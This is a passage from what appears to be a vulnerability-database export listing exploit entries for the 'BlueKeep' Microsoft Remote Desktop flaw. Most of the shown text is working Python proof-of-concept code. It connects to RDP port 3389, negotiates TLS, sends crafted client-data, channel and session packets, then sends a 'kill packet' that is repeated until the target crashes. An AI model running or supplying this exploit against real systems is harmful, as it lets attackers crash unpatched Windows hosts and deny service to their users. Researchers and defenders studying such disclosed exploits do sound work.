b\"\\x03\\x00\\x01\\x61\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x81\\x52\\x40\\x00\\xa1\\xa5\\x09\\x04\\x09\\x04\\xbb\\x47\\x03\\x00\\x00\\x00\\x0e\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x00\\x00\\x74\\x00\\x65\\x00\\x73\\x00\\x74\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x1c\\x00\\x31\\x00\\x39\\x00\\x32\\x00\\x2e\\x00\\x41\\x41\\x41\\x00\\x38\\x00\\x2e\\x00\\x32\\x00\\x33\\x00\\x32\\x00\\x2e\\x00\\x31\\x00\\x00\\x00\\x40\\x00\\x43\\x00\\x3a\\x00\\x5c\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x41\\x41\\x41\\x00\\x57\\x00\\x53\\x00\\x5c\\x00\\x73\\x00\\x79\\x00\\x73\\x00\\x74\\x00\\x65\\x00\\x6d\\x00\\x33\\x00\\x32\\x00\\x5c\\x00\\x6d\\x00\\x73\\x00\\x74\\x00\\x73\\x00\\x63\\x00\\x61\\x00\\x78\\x00\\x2e\\x00\\x64\\x00\\x6c\\x00\\x6c\\x00\\x00\\x00\\xa4\\x01\\x00\\x00\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x20\\x00\\x53\\x00\\x74\\x00\\x61\\x00\\x6e\\x00\\x64\\x00\\x61\\x00\\x72\\x00\\x64\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x20\\x00\\x44\\x00\\x61\\x00\\x79\\x00\\x6c\\x00\\x69\\x00\\x67\\x00\\x68\\x00\\x74\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc4\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x64\\x00\\x00\\x00\"  \ntls.sendall(p)  \n  \ndef send_channel_packets(tls):  \np1 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x04\\x01\\x00\\x01\\x00\"  \ntls.sendall(p1)  \np2 = b\"\\x03\\x00\\x00\\x08\\x02\\xf0\\x80\\x28\"  \ntls.sendall(p2)  \ntls.recv(1024)  \np4 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xeb\"  \ntls.sendall(p4)  \ntls.recv(1024)  \np5 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xec\"  \ntls.sendall(p5)  \ntls.recv(1024)  \np6 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xed\"  \ntls.sendall(p6)  \ntls.recv(1024)  \np7 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xee\"  \ntls.sendall(p7)  \ntls.recv(1024)  \np8 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xef\"  \ntls.sendall(p8)  \ntls.recv(1024)  \n  \ndef send_confirm_active(tls, shareid):  \np = \"\\x03\\x00\\x02\\x63\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x82\\x54\\x54\\x02\\x13\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\xea\\x03\\x06\\x00\\x3e\\x02\\x4d\\x53\\x54\\x53\\x43\\x00\\x17\\x00\\x00\\x00\\x01\\x00\\x18\\x00\\x01\\x00\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x1d\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x1c\\x00\\x20\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x80\\x07\\x38\\x04\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x1a\\x01\\x00\\x00\\x00\\x03\\x00\\x58\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\x00\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x01\\x01\\x01\\x00\\x01\\x00\\x00\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\xa1\\x06\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x03\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x13\\x00\\x28\\x00\\x03\\x00\\x00\\x03\\x78\\x00\\x00\\x00\\x78\\x00\\x00\\x00\\xfc\\x09\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0a\\x00\\x08\\x00\\x06\\x00\\x00\\x00\\x07\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x08\\x00\\x0a\\x00\\x01\\x00\\x14\\x00\\x15\\x00\\x09\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x0d\\x00\\x58\\x00\\x91\\x00\\x20\\x00\\x09\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x0e\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x34\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x10\\x00\\xfe\\x00\\x20\\x00\\xfe\\x00\\x40\\x00\\xfe\\x00\\x80\\x00\\xfe\\x00\\x00\\x01\\x40\\x00\\x00\\x08\\x00\\x01\\x00\\x01\\x03\\x00\\x00\\x00\\x0f\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x00\\x28\\x64\\x00\\x14\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x0c\\x00\\x02\\x00\\x00\\x00\\x00\\x0a\\x00\\x01\\x1a\\x00\\x08\\x00\\xaf\\x94\\x00\\x00\\x1c\\x00\\x0c\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1b\\x00\\x06\\x00\\x01\\x00\\x1e\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x18\\x00\\x0b\\x00\\x02\\x00\\x00\\x00\\x03\\x0c\\x00\\x1d\\x00\\x5f\\x00\\x02\\xb9\\x1b\\x8d\\xca\\x0f\\x00\\x4f\\x15\\x58\\x9f\\xae\\x2d\\x1a\\x87\\xe2\\xd6\\x01\\x03\\x00\\x01\\x01\\x03\\xd4\\xcc\\x44\\x27\\x8a\\x9d\\x74\\x4e\\x80\\x3c\\x0e\\xcb\\xee\\xa1\\x9c\\x54\\x05\\x31\\x00\\x31\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x25\\x00\\x00\\x00\\xc0\\xcb\\x08\\x00\\x00\\x00\\x01\\x00\\xc1\\xcb\\x1d\\x00\\x00\\x00\\x01\\xc0\\xcf\\x02\\x00\\x08\\x00\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x01\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x04\"  \nba = bytearray()  \nba.extend(map(ord, p))  \ntls.sendall(bytes(ba))  \n  \ndef send_establish_session(tls):  \np = b\"\\x03\\x00\\x00\\x24\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x16\\x16\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x08\\x00\\x1f\\x00\\x00\\x00\\x01\\x00\\xea\\x03\"  \ntls.sendall(p)  \np = b\"\\x03\\x00\\x00\\x28\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x1a\\x1a\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x0c\\x00\\x14\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"  \ntls.sendall(p)  \np = b\"\\x03\\x00\\x00\\x28\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x1a\\x1a\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x0c\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"  \ntls.sendall(p)  \np = b\"\\x03\\x00\\x05\\x81\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x85\\x72\\x72\\x05\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x00\\x00\\x2b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\xa3\\xce\\x20\\x35\\xdb\\x94\\xa5\\xe6\\x0d\\xa3\\x8c\\xfb\\x64\\xb7\\x63\\xca\\xe7\\x9a\\x84\\xc1\\x0d\\x67\\xb7\\x91\\x76\\x71\\x21\\xf9\\x67\\x96\\xc0\\xa2\\x77\\x5a\\xd8\\xb2\\x74\\x4f\\x30\\x35\\x2b\\xe7\\xb0\\xd2\\xfd\\x81\\x90\\x1a\\x8f\\xd5\\x5e\\xee\\x5a\\x6d\\xcb\\xea\\x2f\\xa5\\x2b\\x06\\xe9\\x0b\\x0b\\xa6\\xad\\x01\\x2f\\x7a\\x0b\\x7c\\xff\\x89\\xd3\\xa3\\xe1\\xf8\\x00\\x96\\xa6\\x8d\\x9a\\x42\\xfc\\xab\\x14\\x05\\x8f\\x16\\xde\\xc8\\x05\\xba\\xa0\\xa8\\xed\\x30\\xd8\\x67\\x82\\xd7\\x9f\\x84\\xc3\\x38\\x27\\xda\\x61\\xe3\\xa8\\xc3\\x65\\xe6\\xec\\x0c\\xf6\\x36\\x24\\xb2\\x0b\\xa6\\x17\\x1f\\x46\\x30\\x16\\xc7\\x73\\x60\\x14\\xb5\\xf1\\x3a\\x3c\\x95\\x7d\\x7d\\x2f\\x74\\x7e\\x56\\xff\\x9c\\xe0\\x01\\x32\\x9d\\xf2\\xd9\\x35\\x5e\\x95\\x78\\x2f\\xd5\\x15\\x6c\\x18\\x34\\x0f\\x43\\xd7\\x2b\\x97\\xa9\\xb4\\x28\\xf4\\x73\\x6c\\x16\\xdb\\x43\\xd7\\xe5\\x58\\x0c\\x5a\\x03\\xe3\\x73\\x58\\xd7\\xd9\\x76\\xc2\\xfe\\x0b\\xd7\\xf4\\x12\\x43\\x1b\\x70\\x6d\\x74\\xc2\\x3d\\xf1\\x26\\x60\\x58\\x80\\x31\\x07\\x0e\\x85\\xa3\\x95\\xf8\\x93\\x76\\x99\\x9f\\xec\\xa0\\xd4\\x95\\x5b\\x05\\xfa\\x4f\\xdf\\x77\\x8a\\x7c\\x29\\x9f\\x0b\\x4f\\xa1\\xcb\\xfa\\x95\\x66\\xba\\x47\\xe3\\xb0\\x44\\xdf\\x83\\x03\\x44\\x24\\xf4\\x1e\\xf2\\xe5\\xcb\\xa9\\x53\\x04\\xc2\\x76\\xcb\\x4d\\xc6\\xc2\\xd4\\x3f\\xd3\\x8c\\xb3\\x7c\\xf3\\xaa\\xf3\\x93\\xfe\\x25\\xbd\\x32\\x7d\\x48\\x6e\\x93\\x96\\x68\\xe5\\x18\\x2b\\xea\\x84\\x25\\x69\\x02\\xa5\\x38\\x65\\x6f\\x0f\\x9f\\xf6\\xa1\\x3a\\x1d\\x22\\x9d\\x3f\\x6d\\xe0\\x4c\\xee\\x8b\\x24\\xf0\\xdc\\xff\\x70\\x52\\xa7\\x0d\\xf9\\x52\\x8a\\x1e\\x33\\x1a\\x30\\x11\\x15\\xd7\\xf8\\x95\\xa9\\xbb\\x74\\x25\\x8c\\xe3\\xe9\\x93\\x07\\x43\\xf5\\x50\\x60\\xf7\\x96\\x2e\\xd3\\xff\\x63\\xe0\\xe3\\x24\\xf1\\x10\\x3d\\x8e\\x0f\\x56\\xbc\\x2e\\xb8\\x90\\x0c\\xfa\\x4b\\x96\\x68\\xfe\\x59\\x68\\x21\\xd0\\xff\\x52\\xfe\\x5c\\x7d\\x90\\xd4\\x39\\xbe\\x47\\x9d\\x8e\\x7a\\xaf\\x95\\x4f\\x10\\xea\\x7b\\x7a\\xd3\\xca\\x07\\x28\\x3e\\x4e\\x4b\\x81\\x0e\\xf1\\x5f\\x1f\\x8d\\xbe\\x06\\x40\\x27\\x2f\\x4a\\x03\\x80\\x32\\x67\\x54\\x2f\\x93\\xfd\\x25\\x5d\\x6d\\xa0\\xad\\x23\\x45\\x72\\xff\\xd1\\xeb\\x5b\\x51\\x75\\xa7\\x61\\xe0\\x3f\\xe4\\xef\\xf4\\x96\\xcd\\xa5\\x13\\x8a\\xe6\\x52\\x74\\x70\\xbf\\xc1\\xf9\\xfb\\x68\\x9e\\xdd\\x72\\x8f\\xb4\\x44\\x5f\\x3a\\xcb\\x75\\x2a\\x20\\xa6\\x69\\xd2\\x76\\xf9\\x57\\x46\\x2b\\x5b\\xda\\xba\\x0f\\x9b\\xe0\\x60\\xe1\\x8b\\x90\\x33\\x41\\x0a\\x2d\\xc5\\x06\\xfe\\xd0\\xf0\\xfc\\xde\\x35\\xd4\\x1e\\xaa\\x76\\x0b\\xae\\xf4\\xd5\\xbd\\xfa\\xf3\\x55\\xf5\\xc1\\x67\\x65\\x75\\x1c\\x1d\\x5e\\xe8\\x3a\\xfe\\x54\\x50\\x23\\x04\\xae\\x2e\\x71\\xc2\\x76\\x97\\xe6\\x39\\xc6\\xb2\\x25\\x87\\x92\\x63\\x52\\x61\\xd1\\x6c\\x07\\xc1\\x1c\\x00\\x30\\x0d\\xa7\\x2f\\x55\\xa3\\x4f\\x23\\xb2\\x39\\xc7\\x04\\x6c\\x97\\x15\\x7a\\xd7\\x24\\x33\\x91\\x28\\x06\\xa6\\xe7\\xc3\\x79\\x5c\\xae\\x7f\\x50\\x54\\xc2\\x38\\x1e\\x90\\x23\\x1d\\xd0\\xff\\x5a\\x56\\xd6\\x12\\x91\\xd2\\x96\\xde\\xcc\\x62\\xc8\\xee\\x9a\\x44\\x07\\xc1\\xec\\xf7\\xb6\\xd9\\x9c\\xfe\\x30\\x1c\\xdd\\xb3\\x3b\\x93\\x65\\x3c\\xb4\\x80\\xfb\\xe3\\x87\\xf0\\xee\\x42\\xd8\\xcf\\x08\\x98\\x4d\\xe7\\x6b\\x99\\x0a\\x43\\xed\\x13\\x72\\x90\\xa9\\x67\\xfd\\x3c\\x63\\x36\\xec\\x55\\xfa\\xf6\\x1f\\x35\\xe7\\x28\\xf3\\x87\\xa6\\xce\\x2e\\x34\\xaa\\x0d\\xb2\\xfe\\x17\\x18\\xa2\\x0c\\x4e\\x5f\\xf0\\xd1\\x98\\x62\\x4a\\x2e\\x0e\\xb0\\x8d\\xb1\\x7f\\x32\\x52\\x8e\\x87\\xc9\\x68\\x7c\\x0c\\xef\\xee\\x88\\xae\\x74\\x2a\\x33\\xff\\x4b\\x4d\\xc5\\xe5\\x18\\x38\\x74\\xc7\\x28\\x83\\xf7\\x72\\x87\\xfc\\x79\\xfb\\x3e\\xce\\xd0\\x51\\x13\\x2d\\x7c\\xb4\\x58\\xa2\\xe6\\x28\\x67\\x4f\\xec\\xa6\\x81\\x6c\\xf7\\x9a\\x29\\xa6\\x3b\\xca\\xec\\xb8\\xa1\\x27\\x50\\xb7\\xef\\xfc\\x81\\xbf\\x5d\\x86\\x20\\x94\\xc0\\x1a\\x0c\\x41\\x50\\xa9\\x5e\\x10\\x4a\\x82\\xf1\\x74\\x1f\\x78\\x21\\xf5\\x70\\x61\\x24\\x00\\x3d\\x47\\x5f\\xf3\\x25\\x80\\x3c\\x4b\\xea\\xa3\\xf4\\x77\\xea\\xa1\\x42\\x1a\\x17\\x0f\\x6d\\xa8\\x35\\x9e\\x91\\x26\\x34\\x43\\x04\\xc6\\xc6\\x5b\\x21\\x7d\\x8c\\xc7\\x22\\x91\\x7b\\x2c\\x2d\\x2f\\xd6\\x7e\\xa5\\x52\\xa8\\x08\\x80\\xeb\\x60\\xd1\\x44\\x09\\x8e\\x3c\\xa1\\xaa\\x67\\x60\\x0a\\x26\\xc6\\xb5\\xc6\\x79\\xa6\\x4f\\x8b\\x8c\\x25\\x5c\\xf1\\x0b\\x23\\xf4\\xd8\\xa6\\x6d\\xf1\\x91\\x78\\xf9\\xe5\\x2a\\x50\\x2f\\x5a\\x44\\x22\\xd9\\x19\\x5c\\xaf\\xd6\\xac\\x97\\xa2\\xf8\\x0d\\x0c\\xe3\\xdd\\x88\\x48\\x98\\x28\\x0b\\x8b\\xbd\\x76\\xdc\\xde\\xca\\xe2\\xc2\\x4a\\x87\\x50\\xd4\\x8c\\x77\\x5a\\xd8\\xb2\\x74\\x4f\\x30\\x35\\xbf\\x28\\xae\\xd9\\xa2\\x98\\xa5\\xbc\\x60\\xca\\xb8\\x90\\x4d\\x20\\x46\\xd9\\x8a\\x1a\\x30\\x01\\x8b\\x38\\x63\\x1a\\x57\\x09\\x51\\x46\\x95\\x9b\\xd8\\x80\\x0c\\xb0\\x77\\x24\\xbf\\x2b\\xd3\\x57\\x22\\xd9\\x19\\x5c\\xaf\\xd6\\xac\\x97\\xa2\\xf8\\x0d\\x0c\\xe3\\xdd\\x88\\x48\\x98\\x28\\x0b\\x8b\\xbd\\x76\\xdc\\xde\\xca\\xe2\\xc2\\x4a\\x87\\x50\\xd4\\x8c\\x56\\x92\\x38\\xed\\x6b  \ntls.sendall(p)  \np = b\"\\x03\\x00\\x00\\x28\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x1a\\x1a\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x00\\x00\\x27\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x32\\x00\"  \ntls.sendall(p)  \n  \ndef send_kill_packet(tls, arch):  \nif arch == \"32\":  \np = b\"\\x03\\x00\\x00\\x2e\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xef\\x70\\x14\\x0c\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"  \nelif arch == \"64\":  \np = b\"\\x03\\x00\\x00\\x2e\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xef\\x70\\x14\\x0c\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"  \nelse:  \nprint(\"Make the second arguement '32' or '64' without quotes\")  \nsys.exit()  \ntls.sendall(p)  \n  \ndef terminate_connection(tls):  \np = b\"\\x03\\x00\\x00\\x09\\x02\\xf0\\x80\\x21\\x80\"  \ntls.sendall(p)  \n  \ndef main(args):  \ntls = send_init_packets(args[1])  \n  \nsend_client_data(tls)  \nprint(\"[+] ClientData Packet Sent\")  \n  \nsend_channel_packets(tls)  \nprint(\"[+] ChannelJoin/ErectDomain/AttachUser Sent\")  \n  \nsend_client_info(tls)  \nprint(\"[+] ClientInfo Packet Sent\")  \n  \ntls.recv(8192)  \ntls.recv(8192)  \n  \nsend_confirm_active(tls, None)  \nprint(\"[+] ConfirmActive Packet Sent\")  \n  \nsend_establish_session(tls)  \nprint(\"[+] Session Established\")  \n  \nsend_kill_packet(tls, args[2])  \nterminate_connection(tls)  \nprint(\"[+] Vuln Should Trigger\")  \n  \nif __name__ == '__main__':  \nif len(sys.argv) != 3:  \nprint(\"Usage: python poc.py 127.0.0.1 64\")  \nsys.exit()  \n  \nelif sys.argv[2] == '32' or '64':  \n# I've had to send the packets 5 times for hosts that havent  \n# had a terminal session since their last reboot. I think  \n# I know why but atm its just easier to send the exchange  \n# 5 times and it'll crash eventually. Most of the time its  \n# the first time though.  \nfor _ in range(5):  \nmain(sys.argv)  \n  \nelse:  \nprint(\"Usage: python poc.py 127.0.0.1 64\")  \nsys.exit()  \n`\n",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://packetstormsecurity.com/files/download/153133/msrdp-dos.txt",
        "vhref": "https://vulners.com/packetstorm/PACKETSTORM:153133"
    },
    {
        "lastseen": "2019-05-31T08:20:24",
        "bulletinFamily": "exploit",
        "description": "",
        "modified": "2019-05-30T00:00:00",
        "published": "2019-05-30T00:00:00",
        "id": "EDB-ID:46946",
        "href": "https://www.exploit-db.com/exploits/46946",
        "type": "exploitdb",
        "title": "Microsoft Windows Remote Desktop - &#039;BlueKeep&#039; Denial of Service",
        "sourceData": "import socket, sys, struct\r\nfrom OpenSSL import SSL\r\nfrom impacket.structure import Structure\r\n\r\n# I'm not responsible for what you use this to accomplish and should only be used for education purposes\r\n\r\n# Could clean these up since I don't even use them\r\nclass TPKT(Structure):\r\n\tcommonHdr = (\r\n\t\t('Version','B=3'),\r\n\t\t('Reserved','B=0'),\r\n\t\t('Length','>H=len(TPDU)+4'),\r\n\t\t('_TPDU','_-TPDU','self[\"Length\"]-4'),\r\n\t\t('TPDU',':=\"\"'),\r\n\t)\r\n\r\nclass TPDU(Structure):\r\n\tcommonHdr = (\r\n\t\t('LengthIndicator','B=len(VariablePart)+1'),\r\n\t\t('Code','B=0'),\r\n\t\t('VariablePart',':=\"\"'),\r\n\t)\r\n\tdef __init__(self, data = None):\r\n\t\tStructure.__init__(self,data)\r\n\t\tself['VariablePart']=''\r\n\r\nclass CR_TPDU(Structure):\r\n\tcommonHdr = (\r\n\t\t('DST-REF','<H=0'),\r\n\t\t('SRC-REF','<H=0'),\r\n\t\t('CLASS-OPTION','B=0'),\r\n\t\t('Type','B=0'),\r\n\t\t('Flags','B=0'),\r\n\t\t('Length','<H=8'),\r\n\t)\r\n\r\nclass DATA_TPDU(Structure):\r\n\tcommonHdr = (\r\n\t\t('EOT','B=0x80'),\r\n\t\t('UserData',':=\"\"'),\r\n\t)\r\n\tdef __init__(self, data = None):\r\n\t\tStructure.__init__(self,data)\r\n\t\tself['UserData'] =''\r\n\r\nclass RDP_NEG_REQ(CR_TPDU):\r\n\tstructure = (\r\n\t\t('requestedProtocols','<L'),\r\n\t)\r\n\tdef __init__(self,data=None):\r\n\t\tCR_TPDU.__init__(self,data)\r\n\t\tif data is None:\r\n\t\t\tself['Type'] = 1\r\n\r\ndef send_init_packets(host):\r\n\ttpkt = TPKT()\r\n\ttpdu = TPDU()\r\n\trdp_neg = RDP_NEG_REQ()\r\n\trdp_neg['Type'] = 1\r\n\trdp_neg['requestedProtocols'] = 1\r\n\ttpdu['VariablePart'] = rdp_neg.getData()\r\n\ttpdu['Code'] = 0xe0\r\n\ttpkt['TPDU'] = tpdu.getData()\r\n\ts = socket.socket()\r\n\ts.connect((host, 3389))\r\n\ts.sendall(tpkt.getData())\r\n\ts.recv(8192)\r\n\tctx = SSL.Context(SSL.TLSv1_METHOD)\r\n\ttls = SSL.Connection(ctx,s)\r\n\ttls.set_connect_state()\r\n\ttls.do_handshake()\r\n\treturn tls\r\n\r\n# This can be fixed length now buttfuckit\r\ndef send_client_data(tls):\r\n\tp = \"\\x03\\x00\\x01\\xca\\x02\\xf0\\x80\\x7f\\x65\\x82\\x07\\xc2\\x04\\x01\\x01\\x04\\x01\\x01\\x01\\x01\\xff\\x30\\x19\\x02\\x01\\x22\\x02\\x01\\x02\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\\x30\\x19\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\x04\\x20\\x02\\x01\\x02\\x30\\x1c\\x02\\x02\\xff\\xff\\x02\\x02\\xfc\\x17\\x02\\x02\\xff\\xff\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\\x04\\x82\\x01\\x61\\x00\\x05\\x00\\x14\\x7c\\x00\\x01\\x81\\x48\\x00\\x08\\x00\\x10\\x00\\x01\\xc0\\x00\\x44\\x75\\x63\\x61\\x81\\x34\\x01\\xc0\\xea\\x00\\x0a\\x00\\x08\\x00\\x80\\x07\\x38\\x04\\x01\\xca\\x03\\xaa\\x09\\x04\\x00\\x00\\xee\\x42\\x00\\x00\\x44\\x00\\x45\\x00\\x53\\x00\\x4b\\x00\\x54\\x00\\x4f\\x00\\x50\\x00\\x2d\\x00\\x46\\x00\\x38\\x00\\x34\\x00\\x30\\x00\\x47\\x00\\x49\\x00\\x4b\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xca\\x01\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x0f\\x00\\xaf\\x07\\x62\\x00\\x63\\x00\\x37\\x00\\x38\\x00\\x65\\x00\\x66\\x00\\x36\\x00\\x33\\x00\\x2d\\x00\\x39\\x00\\x64\\x00\\x33\\x00\\x33\\x00\\x2d\\x00\\x34\\x00\\x31\\x00\\x39\\x38\\x00\\x38\\x00\\x2d\\x00\\x39\\x00\\x32\\x00\\x63\\x00\\x66\\x00\\x2d\\x00\\x00\\x31\\x00\\x62\\x00\\x32\\x00\\x64\\x00\\x61\\x00\\x42\\x42\\x42\\x42\\x07\\x00\\x01\\x00\\x00\\x00\\x56\\x02\\x00\\x00\\x50\\x01\\x00\\x00\\x00\\x00\\x64\\x00\\x00\\x00\\x64\\x00\\x00\\x00\\x04\\xc0\\x0c\\x00\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xc0\\x0c\\x00\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xc0\\x38\\x00\\x04\\x00\\x00\\x00\\x72\\x64\\x70\\x73\\x6e\\x64\\x00\\x00\\x0f\\x00\\x00\\xc0\\x63\\x6c\\x69\\x70\\x72\\x64\\x72\\x00\\x00\\x00\\xa0\\xc0\\x64\\x72\\x64\\x79\\x6e\\x76\\x63\\x00\\x00\\x00\\x80\\xc0\\x4d\\x53\\x5f\\x54\\x31\\x32\\x30\\x00\\x00\\x00\\x00\\x00\"\r\n\tsize0 = struct.pack(\">h\", len(p))\r\n\tsize1 = struct.pack(\">h\", len(p)-12)\r\n\tsize2 = struct.pack(\">h\", len(p)-109)\r\n\tsize3 = struct.pack(\">h\", len(p)-118)\r\n\tsize4 = struct.pack(\">h\", len(p)-132)\r\n\tsize5 = struct.pack(\">h\", len(p)-390)\r\n\tba = bytearray()\r\n\tba.extend(map(ord, p))\r\n\tba[2] = size0[0]\r\n\tba[3] = size0[1]\r\n\tba[10] = size1[0]\r\n\tba[11] = size1[1]\r\n\tba[107] = size2[0]\r\n\tba[108] = size2[1]\r\n\tba[116] = 0x81\r\n\tba[117] = size3[1] \r\n\tba[130] = 0x81\r\n\tba[131] = size4[1]\r\n\tba[392] = 